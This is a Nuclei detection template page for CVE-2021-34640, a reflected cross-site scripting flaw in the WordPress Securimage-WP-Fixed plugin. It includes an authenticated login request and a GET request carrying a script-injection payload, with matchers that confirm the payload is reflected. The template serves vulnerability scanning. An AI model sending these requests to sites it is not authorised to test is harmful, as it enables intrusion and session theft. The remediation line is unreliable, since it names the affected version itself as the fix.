WordPress Securimage-WP-Fixed <=3.5.4 - Cross-Site Scripting

ID: CVE-2021-34640

Severity: medium

Author: dhiyaneshDK

Tags: cve2021,cve,wpscan,wordpress,wp-plugin,authenticated,securimage-wp-fixed_project

Description

WordPress Securimage-WP-Fixed plugin 3.5.4 and prior contains a cross-site scripting vulnerability due to the use of $_SERVER[‘PHP_SELF’] in the ~/securimage-wp.php file, which allows attackers to inject arbitrary web scripts.

YAML Source

id: CVE-2021-34640

info:
  name: WordPress Securimage-WP-Fixed <=3.5.4 - Cross-Site Scripting
  author: dhiyaneshDK
  severity: medium
  description: WordPress Securimage-WP-Fixed plugin 3.5.4 and prior contains a cross-site scripting vulnerability due to the use of $_SERVER['PHP_SELF'] in the ~/securimage-wp.php file, which allows attackers to inject arbitrary web scripts.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update the Securimage-WP-Fixed plugin to version 3.5.4 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/22017067-8675-4884-b976-d7f5a71279d2
    - https://www.wordfence.com/vulnerability-advisories/#CVE-2021-34640
    - https://plugins.trac.wordpress.org/browser/securimage-wp-fixed/trunk/securimage-wp.php#L628
    - https://nvd.nist.gov/vuln/detail/CVE-2021-34640
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-34640
    cwe-id: CWE-79
    epss-score: 0.00123
    epss-percentile: 0.46682
    cpe: cpe:2.3:a:securimage-wp-fixed_project:securimage-wp-fixed:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: securimage-wp-fixed_project
    product: securimage-wp-fixed
    framework: wordpress
  tags: cve2021,cve,wpscan,wordpress,wp-plugin,authenticated,securimage-wp-fixed_project

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET //wp-admin/options-general.php/"></script><script>alert(document.domain)</script>/script%3E?page=securimage-wp-options%2F HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022029eb84153b1fd91c9783f8ab7d49328464c3e41a696e8bd55728a94910093f62022100c1dfeec68d0a7e160d4faa5e9d0e060ffc438b471b8a8b00372826f08079e6bf:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-34640.yaml"

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